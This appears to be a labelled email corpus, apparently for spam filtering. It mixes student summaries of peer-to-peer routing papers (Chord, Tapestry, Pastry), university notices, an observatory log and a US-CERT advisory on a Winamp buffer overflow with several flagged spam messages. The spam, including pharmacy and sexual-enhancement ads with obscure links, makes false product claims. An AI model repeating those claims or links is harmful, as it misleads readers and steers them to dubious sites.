applications’ responsibility to impose security measures. • Chord and Tapestry periodically update the routing and object location information, while Pastry lazily repairs its state table. • Tapestry nodes store back-pointers to help new nodes construct their routing tables, while Pastry nodes don’t. • During each stabilization step in Chord, a node updates its immediate successor and one other entry in the successor list or finger table. I was wondering if all are stabilized for each call would be better.",0,0 Ivan Stoyanov ,egs+summary,"Tue, 31 Jan 2006 11:32:33 -0500",PAPER 2,"Pastry, Chord, Tapestry and Kademlia have similar design goals and similar characteristics. Tapestry and Pastry are quite similar, using respectively suffix and prefix -based routing, with their lookup time being O(log2^b(N)), while Chord and Kademlia are O(log2(N)). Tapestry is generally a more complicated improvement of Pastry. The main improvements are the additional redundancy in the form of multiple messages or links and the routing table optimization, which results in better routing performance than Pastry. Also, Tapestry used object replication which makes it more faiulure resistant. Another important feature of Tapestry is the root election algorithm. This makes routing more flexible, but requires maintenance of global properties and more work for the join protocol. As far as simplicity is concerned, Tapestry is the most complex of all with Kademlia and Chord being simpler. Kademlia's main contributions is the usage of XOR metric. Chord, on the other side, uses consistent hashing to store key-value mappings on the successor node in a circular space. This makes node joining very simple, without too much information changing place. Chord does not take care of object replication and, like Pastry, says that node failure will be handles by the availability of multiple rounds. Kademlia and Tapestry do take of object replication. Chord is the only system that provides a proof of correctness for its routing. All four systems are vulerable to network partitioning attacks, because an attacker can join multiple times at self-chosen points. All four systems do not address content verifiability, so any node can claim to posses any data, but the actual vericication is left to the above application. ",0,0 Abhishek Santosh Gupta ,egs+summary,"Tue, 31 Jan 2006 11:33:38 -0500",paper 2,"Pastry vs Chord Routing information : Chord maintains fewer entries as opposed to both Pastry and Tapestry - chord maintains only m entries as opposed to routing table,neighbour and leaf sets. Chord maintains pointers only to its predecessors while Pastry has an entire neighbour set(with entries less than and greater than its nodeid). Chord does maintain a succesor list though. The chord paper states in the context of multiple concurrent joins causing network partitions -""these cases could be detected and repaired by periodic sampling of the ring topology"". However, it does not mention how sampling could be carried out in a distributed system effectively. Node insertions : the algorithm requires O(log N) time for insertion of a node which is the least amongst all the three. Pastry vs Tapestry The algorithm for routing was exactly similar in both cases--i.e. both used ideas from radix sort for their routing policies. However, the manner in which paper dealt with node insertions and deletions was different. Node deletion :when Tapestry detects a neighbour to be invalid, it does not remove the entry from the table (which is what Pastry does) but it marks it as invalid. Thus, it gives this failed or deleted node a second chance. If the node is back again within the associated time period it validates that entry. Re-routing : In Pastry, no mechanisms existed for re-routing due to unsuccessful delivery because of a falied or malicious node. Tapestry re-routes via a alternate path after a timeout interval. Multiple roots : The root node (singular) is a single point of failure for an object. Tapestry eliminates this by assigning multiple roots to each object via addition of a salt to the object id and then carrying out hashing ( Pastry has a single root). Mobile Objects : Tapestry also includes mechanisms for dealing with objects which are moved from one server to another while Pastry does not. Tapestry also offers an algorithm to detect query hotspots and offers suggestions on locations where additional copies could be placed to improve query response times. None of the above papers deal with malicious nodes - nodes who may respond to departure messages but do not forward packets. Re-routing mechanisms seem to fail in the case of such nodes in the system. Expressive queries is another area that is not dealt with too. Abhishek Gupta ",0,0 Kelvin So ,egs+summary,"Tue, 31 Jan 2006 11:50:34 -0500",PAPER 2," “Chord: A Scalable Peer-t-peer Lookup service for Internet Applications” by Stoica and “Tapestry: An Infrastructure for Fault-tolerant Wide-area Location and Routing” by Ben both present a distributed hash table structure which is a scalable and efficient algorithm for locating objects in large and dynamic networks. Chord uses a one-dimensional, circular identifier space, which is similar to Pastry. (Similar to Pastry: An object with key k is assigned to the first node whose identifier is equal to or follows k in the identifier space. Each node maintains a successor and a predecessor in the id space. A simple lookup can simply use successor to go around the id space to find the object, but that would take O(n). ) To increase performance, Chord maintains a finger table (similar to binary search) which contains log(n) pointers while pastry uses prefix routing to increase performance in lookup. The ith entry in the node n finger table is the successor of n + 2i-1. Therefore, when a node routes to an object, each hop toward the object greedily move at least half of the remaining distance. Therefore, it results in log(n) hops. When a peer joins the network, it routes to its successor of itself and contacts its successor of its arrival. Because Chord periodically fixes fingers, and successor, it notices a failed node and updates the corresponding entry. To improve robustness, it uses a list of successors instead of one successor, and then replicates the data to the list of successors. The design of Chord is simple Tapestry uses similar prefix routing as Pastry, but it matches the digit from right to left. The routing is very similar to Pastry, except tapestry doesn’t maintain Leafset information. The first differences between Pastry is that Tapestry uses soft-state to republish object to keep location pointer up-to-date. Tapestry has more redundancy and optimization than Pastry. It allows having multiple roots, which keeps pointer to the object in the network, and redundant links for neighbors to provide fault tolerance. It also has other optimizations, such as caching root location if it is visited often. However, Tapestry is more complex than Pastry. ",0,0 """Takayuki Hoshi (TK)""",CS615 Peer-to-Peer Systems Paper summary ,"Tue, 31 Jan 2006 11:53:10 -0500",PAPER 2 - Takayuki Hoshi,"THE ""CHORD"" PAPER In this paper, the authors present the Chord protocol, a routing protocol for a peer-to-peer lookup service for Internet applications. It is a simple lookup system which is load-balanced, fully decentralized, scalable, fault tolerant, and name-flexible, and which uses a simple but consistent hashing method to assign keys to nodes. It solves the problem of locating key in a collection of distributed nodes and maintains routing information with frequent node arrivals and departures. In a Chord network, identifiers are ordered on an identifier circle modulo 2^m where the successor function is extensively used for key assignment and where a node may have a finger table to accelerate lookups. In Chord, each node has to maintain only O(log N) state of other nodes and lookups need O(log N) messages; O( |keys|/N) keys are expected to update their finger tables when a node joins and leaves in an N-node network. The experimental results confirm the robustness in the case of node failures and show that the path length for lookups is about a half lg N There are many differences between Chord and Pastry. First, the design of Chord is significantly simpler than that of Pastry. This mainly comes from the fact that Chord's routing algorithm doesn't pay attention to key-prefixes and uses a simple hashing for key lookups with a small routing (finger) table. As as result, each node in Chord is required to maintain little amount of information as opposed to Pastry whose nodes have to store significantly more information. Chord, unlike Pastry, holds provable correctness and provable performance, in addition to its naming flexibility. One of the biggest issues of Chord, however, is that it doesn't consider locality since its neighbors are unrelated to network proximity. The contribution of the authors lies in providing the design of a simple, yet practical peer-to-peer protocol that can be easily implemented. Some of its future works may include modifications to the Chord protocol so that it considers locality, concentration on security and the issue of network overloading by malicious attacks like the Sybil attack. ------------------------------------------------------------------------------------ THE ""TAPESTRY"" PAPER In this paper, the authors present a scalable, decentralized, fault-tolerant, and adaptive infrastructure for wide-area location and routing called ""Tapestry."" It is an overlay network, similar to Pastry, that uses a modified routing algorithm of Plaxton in desirable ways and provides an explicit notion of locality, achieving the location-independent routing of messages directly to the closest copy of an object. Each node stores a neighbor map similar to Pastry, pointers to its closest nodes matching the suffix for each level, and a backpointer list that points to nodes which point to the node. The whole network may be seen as a routing mesh of neighbors. The routing information in this network is easily repaired and is purely soft state. Tapestry is also self-administering and resilient under heavy load. The experimental results demonstrate the high performance of Tapestry's decentralized object location & routing scheme and its fault-tolerance mechanisms. Despite the similarity, there are distinct differences between Tapestry and Pastry. First, whereas Pastry replicates the object and places replicas at random locations in the network, Tapestry promotes locating the nearest copy of an object for each node, thereby reducing the network latency of message being sent to a particular node. Routing approaches are different as well; in particular, instead of the matching prefix method as in Pastry, each hop in Tapestry extends the matching suffix. Also, Tapestry's surrogate routing gives assurance on the weaker bounds on the number of logical bounds in routing distances, thereby, unlike Pastry, giving a guarantee to find an object, if it is reachable. The contributions of the authors include the improvements to Plaxton's routing algorithm, augmenting robustness, scalability, dynamic adaptation, and self-administration. Tapestry's ability to deliver messages to the closest copy of objects (or services) in a location independent manner, is also notable. As the authors suggest, future works may include further performance analysis under a variety of conditions and parameters and how it can be made more secure and resilient to malicious attacks. ",0,0 Tudor Marian ,egs+summary,"Tue, 31 Jan 2006 11:56:41 -0500",PAPER 2,"Chord differs from Pastry in several key points. Both overlays split the identifier space into a modulo n ring, but in Chord's case the keys are located at the node with the immediately successor id, as opposed to Pastry where a node is responsible for the keys who's id's are closer to the node's id. As a consequence, Chord doesn't require any leaf set, and the routing table consists of m entries (m is the number of bits the keys have) such that the i-th entry in the table of node n holds the first node that succeeds n by at least 2^{i-1} in the circle. Chord doesn't make any use of proximity metric, hence it may not take advantage of locality, which is the case of Pastry. Node joining is different as well, a new chord node n that knows about n' and wants to join will delegate the task of filling in it's finger table to n'. This has an upper bound of O(m logN), which is more than the O(log N) in Pastry's case. Each Chord node runs a stabilization periodic algorithm to take care of churn, moreover nodes keep not just the finger routing tables but predecessor pointers as well. Tapestry is very much like Pastry, both in the way the routing works with prefix/suffix of addresses/ids, insertion and deletion algorithms and storage overhead costs. Tapestry however caches object pointers along query routes as opposed to PAST's replica placement of objects at several nodes with node id in the vicinity of the object's id. Tudor ",0,0 Jennie Leander ,"dbaird@uoregon.edu, egoodell@uoregon.edu, kleiter@uoregon.edu, bsabol@uoregon.edu, kbraha1@uoregon.edu, 'Sabrina Bok De Monte' , 'Melelina Soline French' , rgushki@uoregon.edu, chiga@uoregon.edu, emarrer@gladstone.uoregon.edu, vmayer@uoregon.edu, kwinther@uoregon.edu, kmmcread@uoregon.edu, mtimpani@uoregon.edu, 'Therese Wenslow' , tbieri@uoregon.edu, aspence1@uoregon.edu, tanderso@uoregon.edu, jderby@uoregon.edu, jlindsey@uoregon.edu, mmitchum@uoregon.edu, jbrowne1@uoregon.edu","Tue, 31 Jan 2006 14:02:45 -0800",Student-Athlete Career Dinner,"Hello everyone! I know some of you are beginning to think about possible jobs/careers or internships and wanted to let you know of a couple of great opportunities coming up in the next couple of weeks. The athletic department and the career center have teamed up to put together three events just for student-athletes to help you all get a leg up on your career/ job and/or internship search. On Feb. 22, we are hosting a Student-Athlete Career Dinner from 6:00 - 8:30 p.m. in the EMU Ballroom. Employers scheduled to attend include Fred Meyer, Target, Enterprise Rent-A-Car, Frito Lay, Ferguson Enterprises, United Rental and many more. Again this is a dinner for student-athletes only so it is a fantastic chance to get yourself noticed and network with some great companies. In preparation for the Career Dinner, we are also putting on two workshops to help you get ready impress these employers. They are: 1. Resume Writing, Interview Skills, and Dress for the Occasion Workshop This workshop will be held on Monday, Feb. 6th from 7-8:30 p.m. in the Pittman Room at the Cas Center 2. Authentic Schmooze (How to Network) This workshop will be held Feb. 21, from 7-8:30 p.m. in the Pittman Room at the Cas Center You never want to meet an employer unprepared so I highly advise you to take advantage of these workshops regardless of whether or not you plan to attend the career dinner or not! Don't miss out on a great chance to take advantage of some awesome resources available just to you! Please note that the dinner and workshops are open to all years in school so please invite your teammates if they are interested. If you plan to attend, please e-mail me, or Lauren Brownrigg at lkb@uoregon.edu. Thanks! Jennie Leander Advisor for Student-Athletes Support Services for Student-Athletes 1237 University of Oregon Eugene, OR 97403 (541) 346-1523 (541) 346-5358 fax ",0,0 Matthias Lynch ,irc-list-web@skidmore.edu,"Wed, 01 Feb 2006 14:28:25 +0800",Millions of people do it daily to save their privacy and money.,"eSecure Online Pharmacies. http://pumuxk.8gwgvhdvw5dg8qqjdq81d888.tanburhm.com/?jablqic ",1,1 billmark@cs.utexas.edu,cs395t-mark@cs.utexas.edu,"Tue, 31 Jan 2006 17:46:13 -0600",CS395T - spreading out the reading,"Hi fine-grained parallelism class, After talking to several students and recovering from my own deadline-induced judgment malfunction, it is clear that the assignment I gave for this week is excessive compared to the workload I'm aiming for in the seminar. So, instead of reading all of Chapter 6 and doing all of the problems this week, I'm splitting the work into two parts: This week: Read sections 6.1 through 6.5 Do H&P problems 6.5, 6.16a, and 6.16b. Next week: Read the rest; do the other problems. Later today I'll update the web page to reflect this change. I apologize for any excessive stress that the original assignment may have triggered already. Bill ",0,0 Brett Reid ,ivs@ares.phys.utas.edu.au,"Wed, 01 Feb 2006 12:18:24 +1100",Hobart has the schedule for RDV55,"Hobart has the schedule for RDV55 We generated the Mark5 procedure file locally using drudg. We are using the .snp file generated by GSFC and picked up from cddis. We will be recording mark 5 on a 2TB module. Our drudg generated 178 tape labels! Possibly a known bug with drudg. This is the first of this type of experiment which Hobart has been involved in. We have tested the schedule. We note that 8 VCs only will be used. We note that VC10 correctly patches to High using the IF3 switch. We will ship the module to Socorro. We are currently running OHIG42 which ends 30 minutes prior to RDV55. The start of RDV55 is 5am local time. We may not get the ready message out while setting up after OHIG42 but all seems to be in place. The observatory phone number is + 613 6248 5285 Paul van Tienen will start the experiment running. Regards, Brett Reid Brett Reid Observatory Manager, Radio Telescopes University of Tasmania School of Mathematics and Physics Return-Path: Received: from polaris.cv.nrao.edu (polaris [192.33.115.101]) by dropbox.aoc.nrao.edu (8.13.1/8.13.1/smtp-gateway) with ESMTP id k11I9atE018665 for ; Wed, 1 Feb 2006 11:09:36 -0700 Received: from revere.aoc.nrao.edu (revere.aoc.nrao.edu [146.88.1.15]) by polaris.cv.nrao.edu (8.12.8/8.12.8/smtp-gateway) with ESMTP id k11I9Zvd007197 for ; Wed, 1 Feb 2006 13:09:35 -0500 Received: from corinna.its.utas.edu.au (corinna.its.utas.edu.au [131.217.10.51]) by revere.aoc.nrao.edu (8.13.1/8.13.1/cv-ws-8.12) with ESMTP id k11I9J5M005122 for ; Wed, 1 Feb 2006 11:09:30 -0700 Received: from ares.phys.utas.edu.au (ares.phys.utas.edu.au [131.217.62.74]) by corinna.its.utas.edu.au (8.12.10+Sun/8.12.10) with ESMTP id k11I9HD3011074 for ; Thu, 2 Feb 2006 05:09:17 +1100 (EST) Received: from ares.phys.utas.edu.au (ares.phys.utas.edu.au [127.0.0.1]) by ares.phys.utas.edu.au (8.12.11/8.12.11) with ESMTP id k11I9CG9015140 for ; Thu, 2 Feb 2006 05:09:12 +1100 Received: from localhost (observer@localhost) by ares.phys.utas.edu.au (8.12.11/8.12.11/Submit) with ESMTP id k11I9Brt015137; Thu, 2 Feb 2006 05:09:11 +1100 Date: Thu, 2 Feb 2006 05:09:11 +1100 (EST) From: Observer To: ivs@ares.phys.utas.edu.au, analysts@nrao.edu Subject: Hobart has started experiment RDV55 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-MailScanner-Information: Please contact postmaster@aoc.nrao.edu for more information X-MailScanner: Found to be clean X-MailScanner-SpamCheck: not spam, SpamAssassin (score=0, required 5, autolearn=disabled) X-MailScanner-From: observer@postoffice.phys.utas.edu.au The first scheduled source was 0537-441 @ 1800/032 UT/DOY Formatter (H-maser) leads GPS 11.15 microsec @ 1755/032 UT/DOY Cable Cal 756.4 picosec, shorter cable gives longer delay Weather and Sky: Clear skys, little wind, 12.7 degrees Comments/Problems: Return-Path: Received: from polaris.cv.nrao.edu (polaris [192.33.115.101]) by dropbox.aoc.nrao.edu (8.13.1/8.13.1/smtp-gateway) with ESMTP id k136pEl1032185 for ; Thu, 2 Feb 2006 23:51:15 -0700 Received: from revere.aoc.nrao.edu (revere.aoc.nrao.edu [146.88.1.15]) by polaris.cv.nrao.edu (8.12.8/8.12.8/smtp-gateway) with ESMTP id k136pEvd019961 for ; Fri, 3 Feb 2006 01:51:14 -0500 Received: from corinna.its.utas.edu.au (corinna.its.utas.edu.au [131.217.10.51]) by revere.aoc.nrao.edu (8.13.1/8.13.1/cv-ws-8.12) with ESMTP id k136oxC1007914 for ; Thu, 2 Feb 2006 23:51:10 -0700 Received: from localhost.localdomain (franklin.its.utas.edu.au [131.217.10.25]) by corinna.its.utas.edu.au (8.12.10+Sun/8.12.10) with ESMTP id k136osD3011196; Fri, 3 Feb 2006 17:50:54 +1100 (EST) Message-Id: <200602030650.k136osD3011196@corinna.its.utas.edu.au> Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: binary To: ivs-ops@postoffice.sandybay.utas.edu.au From: Brett Reid Organization: University of Tasmania Cc: analysts@nrao.edu X-Originating-Ip: 131.217.6.6 X-Browser: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 MIME-Version: 1.0 Reply-To: Brett Reid Date: Fri, 03 Feb 2006 17:50:54 +1100 X-Mailer: EMUmail 6.0.1 Subject: Hobart has completed rdv55 X-Http_host: webmail.sandybay.utas.edu.au X-Webmail-User: pbreid@postoffice.sandybay.utas.edu.au X-MailScanner-Information: Please contact postmaster@aoc.nrao.edu for more information X-MailScanner: Found to be clean X-MailScanner-SpamCheck: not spam, SpamAssassin (score=0, required 5, autolearn=disabled) X-MailScanner-From: brett.reid@utas.edu.au Hobart has completed rdv55 The log from experiment rdv55 has been copied to: ivsopar.obspm.fr:/pub/ivsincoming/ ----------------------------------------------------- Formatter (H-maser) leads GPS by 11.1837 microsec at 2006.033.18:01:19.02 Cable Cal 754.7 microsec longer delay. Additional experiment notes: Recorded 637 GB on Mark 5 module USN-0200/2000/1024 to be sent to Socorro using Australian airExpress (DHL). We now have 12 modules remaining at the station after this weeks experiments. Missed scans between 1006 and 1056. There seems to have been a problem communicating with the antenna drive PC and then the PCFS crashed. Needed to restart both drive PC and PCFS machine. The printed schedule summary had wrong line numbers as it was drudged differently to the .snp schedule file used. So the wrong line number was entered to restart the schedule and it took 15 minutes for the schedule to catch up. The schedule ran OK after this. There are regular IF2 overflow messages in the log. The IF2 overflow message did not occur after the schedule resumed normally. The reason for this is unknown at this stage but the S band pass bands looked similar for both periods. Observers: Paul van Tienen, Brett Reid, Chaire Hotan. All observer comments follow: 2006.032.18:17:16.60;""weather log: clear skys, little wind 2006.032.20:53:18.15;""weather log: 90% cloud cover, no wind 2006.032.21:34:27.75;""Weather log: 75% cloud cover, low wind, 2006.032.22:34:08.29;""observer: Brett Reid from 2230 2006.032.22:40:18.67;""weather: 80% cloud cover, light SE wind 2006.033.04:05:36.28;""weather: medium south breeze, 50% cloud, warm 2006.033.04:24:57.99;""drives switched off during slew. Back on now. 2006.033.04:25:30.06;""no data lost due to drives switch off 2006.033.04:33:07.48;""weather: increasing sea breeze. 50% cloud 2006.033.06:32:07.78;""Decoder was reading garbage, reset using the ""form"" command on second attempt at 6:28:45 in time for next scan (during slew). 2006.033.06:38:43.20;""Weather: low cloud, full cover, light breeze 10km/hr 2006.033.10:04:00.12;""Weather: Low cloud, heavily overcast, calm, cool. 2006.033.10:10:34.68;""Drives have stopped responding 2006.033.10:54:41.35;""Back online after major reboot - drive pc failed, as did field system pc. 2006.033.10:54:55.03;""Missed three large scans 2006.033.10:55:09.21;""No observations between approximately 10:06 and 10:56 UT 2006.033.10:56:07.12;""Probably a lot of junk written to disk while schedule tried to catch up after reboot 2006.033.10:57:04.45;""Back online for 10:56 scan, systems ok 2006.033.14:10:18.15;""Weather: Fully overcast, calm 2006.033.18:04:05.26;""Weather: overcast, calm Regards, Brett Brett Reid Observatory Manager, Radio Telescopes University of Tasmania School of Mathematics and Physics",0,0 Bianca Harden ,DMDX@psy1.psych.arizona.edu,"Tue, 31 Jan 2006 20:06:59 -0540",Re:,"Need some love pi11s? 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The Initiative also offers a mentoring relationship with an experienced librarian and a leadership training curriculum for MLS students from underrepresented groups interested in careers in research libraries. The stipends may be coupled with other financial aid to provide an extra incentive for completing library school. The program also provides the opportunity to work in an ARL library upon graduation. In addition to being funded by IMLS, the Initiative is funded by voluntary contributions from 52 ARL libraries and reflects a commitment to create a diverse research library community that will better meet the new challenges of global competition and changing demographics. Program Goals Attract MLS students from underrepresented groups to careers in research libraries. Strengthen participants' leadership skills via a Leadership Symposium held in conjunction with the ALA Midwinter Meeting. Develop a network of mentors who will guide and nurture the career development of the participants. The Class of 2005-2007 On January 21-22, 2005, the current class of 19 Initiative participants, 12 ARL Academy Fellows, and 20 MLS graduate student guests attended the ARL Leadership Symposium in San Antonio, Texas. The two-day symposium covered issues around transitioning into an ARL library, current issues in federal relations a new librarian should know, and creating a career transition plan. The highlight of the symposium was the ""meet and greet"" reception where Initiative participants and guests connected with ARL library directors. Having access to ARL Directors is paramount to the success of the Initiative. If you are interested in learning more about the Initiative class of 2005-2007, please visit http://www.arl.org/diversity/Initparticipants2006.html. Applications Applications are due June 21, 2006. The application form is available online at http://www.arl.org/diversity/initapp2006.pdf. For more information, please contact: Jerome Offord, Jr. Director of Diversity Initiatives 21 Dupont Circle NW, Suite 800 Washington, DC 20036 (202) 296-2296 jerome@arl.org ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 Yash Gandhi ,cs530@merlot.usc.edu,"Tue, 31 Jan 2006 20:43:51 -0800",CS530Lab Assignment Submission,"Hello Everyone. Please hold on to the lab assignments There are some logistical changes. I will be sending out new submission guidelines. and also uploading it on the website. yash ",0,0 vmayer@uoregon.edu,vmayer@uoregon.edu,"Wed, 01 Feb 2006 10:24:47 -0800",grading for slide 4,"I was wondering if you have graded my resubmitted 4 slide assigment yet. I have replied to my original thread twice and was wondering if you have gotten around to grading the last reply that i have submitted after looking at the corrections. I have a grade you left for us on it, but i am not sure if that is from the first reply or the second after the corrections. If you could email me back that would be great. thanks",0,0 Allison Jones ,vmayer@uoregon.edu,"Wed, 01 Feb 2006 10:52:34 -0800",Re: grading for slide 4,"I will re-grade it today. Did you send me an email right after you reposted it? Allison On Feb 1, 2006, at 10:24 AM, vmayer@uoregon.edu wrote: > I was wondering if you have graded my resubmitted 4 slide assigment > yet. I have replied to my original thread twice and was wondering > if you have gotten around to grading the last reply that i have > submitted after looking at the corrections. I have a grade you left > for us on it, but i am not sure if that is from the first reply or > the second after the corrections. If you could email me back that > would be great. thanks ",0,0 Kevin Q Toledo ,arl-announce@arl.org,"Wed, 01 Feb 2006 00:31:18 +0100",give it to her properly poset,"SPUR-M Formula Increase semen you produce 500% Shoot 5x your load and have longer more satisfying orgasms. Complete satisfaction totally guaranteed by the industry leader - it is a money-back guarantee that has never been used by any of our millions of customers! This is the secret formula used by top pron-stars for their huge effects! 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Yet peer review has become a sacred cow, largely because passing peer review confers great prestige - and often tenure. >^ Other Smith Links: http://bmj.bmjjournals.com/cgi/content/full/318/7175/4 http://bmj.bmjjournals.com/cgi/content/full/315/7111/759 Cheers, -Chad Heather Morrison wrote: > ** with apologies for cross-posting ** > > One of the arguments used against OA - one of the many which seems to > make sense at first, but is absolutely ludicrous when examined > closely - is the idea that we cannot afford to take risks with the > current system and its quality control (peer review). > > For anyone who has not done so, please go to Peter Murray-Rust's > presentation at OAI4, Open Data in Science - Technical and Cultural > Aspects - the video can be downloaded from: > http://indico.cern.ch/sessionDisplay.py? > sessionId=9&slotId=0&confId=0514#2005-10-22 > > It's only half an hour. Peter talks about the folly of focusing on > the current system, created for the print-based world, when we have > the technology to capture the data directly. This open up whole new > possibilities for e-research. It also makes it possible to improve > on accuracy - some of the human copying of data can actually create > errors, for example, as compared to capturing the information > directly from the instruments. Peter demonstrates Oscar, a peer- > review robot than does some aspects of peer review (for chemical > compounds) - better than humans can. He shows what a publication can > and should look like nowadays - with chemical compounds that move > about and show their interrelationships, rather than sitting > statically on the page. > > If you have time, the other related presentations by Liz Lyons and > Hans Pfeiffenberger are very much worth watching, too. (As are all > the OAI4 presentations). > > Given the tremendous potential for e-research - it is folly to focus > on preserving the present paper-based system of publication. Let's > move on, quit focussing on a procedures that were the best for the > paper-based past, and instead, focus on developing the means of > scholarly communications that will allow us to do the most that we > can for research, now and into the future. > > Heather Morrison > http://poeticeconomics.blogspot.com > http://oalibrarian.blogspot.com > E-LIS Editor, http://eprints.rclis.org/, Canada > Heather's E-LIS: http://tinyurl.com/c37yk > > ========== > > This message is sent to you because you are subscribed to > The SPARC-OpenData Mail List. > To post, send your message to . > To unsubscribe, email to . > To switch to digest mode, email to . > Send administrative queries to . >",0,1 Karen Nelson ,duckvoice@lists.uoregon.edu,"Wed, 01 Feb 2006 12:20:00 -0800",duckvoice: Register with the Career Center,"A GREAT CAMPUS SERVICE! Register with the Career Center Joblink. Employers have asked the Career Center to as the athletes to register...they want your skills for their professions!!! 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Upgrading to the latest version of Winamp will take care of this vulnerability. Solution Install an Update You can download and install Winamp 5.13 to avoid the vulnerability. Description A vulnerability in Winamp 5.12, and possibly in earlier versions, allows an attacker to run malicious code on your system when you open a playlist file. This malicious code could also be embedded in a web page, and could execute, without your knowledge, when you visit a malicious web page or open an HTML document. For more technical information, see US-CERT Technical Alert TA06-032A. References * Winamp Version History - * US-CERT Technical Cyber Security Alert TA06-032A - * US-CERT Vulnerability Note VU#604745 - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT. Please send email to with ""SA06-032A Feedback VU#604745"" in the subject. ____________________________________________________________________ Mailing list information: ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History February 5, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ+EKhH0pj593lg50AQLm3wf/YZpaQzu0RtyGXXE0WeR5PQoHvXHovqQr wa440DvxTHCclN0BqQHvaI5KlOTKKCgw1Dh0w18AtR6YeJGDmoKt3hZumrC9K0tI qUIAP2p007ow5cRp5sKfrF1vfA3/t0CVoBXBS8UURsGZt5fwAoTHN0uU18pE5rem 3Y35KNFqu/3f9wApvQyAHhmulD9L43sigZtM00z5RCmKEHD/6I5KbGm+vPicuLYF /ns/ieYactohUvstIYRsb2e0QVXR3iqf3eIX88USu+TAeXLBI1fZj+fSY8yPQrYz f809aIMeJBsfscLGI0yoNiIXpX1P3DFQe13I/voBCLUWGeNkVy0PRA== =sHdO -----END PGP SIGNATURE-----",0,1 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Wed, 01 Feb 2006 14:54:25 -0500",US-CERT Technical Cyber Security Alert TA06-032A -- Winamp Playlist Buffer Overflow ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-032A Winamp Playlist Buffer Overflow Original release date: February 1, 2006 Last revised: -- Source: US-CERT Systems Affected Microsoft Windows systems with Winamp 5.12 or earlier Overview America Online has released Winamp 5.13 to correct a buffer overflow vulnerability. Exploitation of this vulnerability could allow a remote attacker to execute arbitrary code with the privileges of the user. I. Description Winamp is a media player that is commonly used to play MP3 files. Winamp 5.13 resolves a buffer overflow vulnerability in how playlist files are handled. Details are available in the following Vulnerability Note: VU#604745 - Winamp fails to properly handle playlists with long computer names Winamp contains a buffer overflow vulnerability when processing a playlist that specifies a long computer name. This may allow a remote unauthenticated attacker to execute arbitrary code on a vulnerable system. II. Impact By convincing a user to open a specially crafted playlist file, a remote unauthenticated attacker may be able to execute arbitrary code with the privileges of the user. Winamp may open a playlist file without any user interaction as the result of viewing a web page or other HTML document. III. Solution Upgrade Upgrade to Winamp 5.13. Appendix A. References * US-CERT Vulnerability Note VU#604745 - * CVE-2006-0476 - * National Vulnerability Database (CVE-2006-0476) - * WINAMP.COM | Player | Version History - * WINAMP.COM | Player - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""TA06-032A Feedback VU#604745"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History Feb 1, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ+EN2H0pj593lg50AQL/zQgAqqNNsBwOLdKKb+e98yUUPRSyj38BKA1G R4nBJ3mO85BvFFqS9NdcPSYH1DgELKhYwOoicEsbX0bmaF+lmr2ClHBO4af6fA3/ bhLksKmf5qtm61SSIuEVyBsXsDwSFQpLACOAkgarW5D5Ii4bW3CDlc9H/4dHYT3j jiGMSVBmYWGjyEMEVznZ1liURyK6BpVHGQI0bf2/dhSk3150LJzwa0vACjnCJEeB 0Fs/s7xkAPoGDT4PxWxe/KEK03PZpJY6yZhCP6IayJsuO7kMQhzBoROK615X/Od5 ctU6qLPx8VIcyW7b9xVMl0OuZf7R412qd74bmnDfIYeGexxuLMifFg== =NZIe -----END PGP SIGNATURE-----",0,1 ARL Communications ,,,Applications Available for ARL/ACRL Institute for Scholarly Communication,"Applications Available for ARL/ACRL Institute for Scholarly Communication The Association for Research Libraries (ARL) and the Association of College and Research Libraries (ACRL) seek applicants for the first Scholarly Communication Institute, to be held in Los Angeles, July 12–14, 2006. The deadline for application is March 1, 2006. Acceptance to the institute is limited to 100 individuals. This jointly sponsored institute offers tools and techniques to build a scholarly communication program or move an existing program to the next level. Participants will assess their campus environment before the institute, engage in two-and-one-half intensive days of active learning, and develop customized outreach plans to implement at their home institutions. The institute sponsors seek participants from a variety of institution types and sizes. The sponsors encourage large institutions to submit applications from small teams of no more than three individuals reflecting various institutional roles, such as librarians, library administrators, faculty, and campus administrators. Applicants should articulate realistic goals for a campus plan and demonstrate institutional support for, or readiness to support, a plan. Participants will: Build expertise for their libraries and campuses Design a collaborative program for their institutions Explore strategies for creating systemic change Discover new approaches for engaging faculty Applications Applications are due March 1, 2006. Applications will be reviewed on a competitive basis. Acceptance to the institute is limited to 100 individuals. The application form is available online at http://www.arl.org/training/institutes/arl-acrl06.html. For more information, please contact: Karla Hahn Director, Office of Scholarly Communication Association of Research Libraries 21 Dupont Circle NW, Suite 800 Washington, DC 20036 (202) 296-2296 karla@arl.org ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 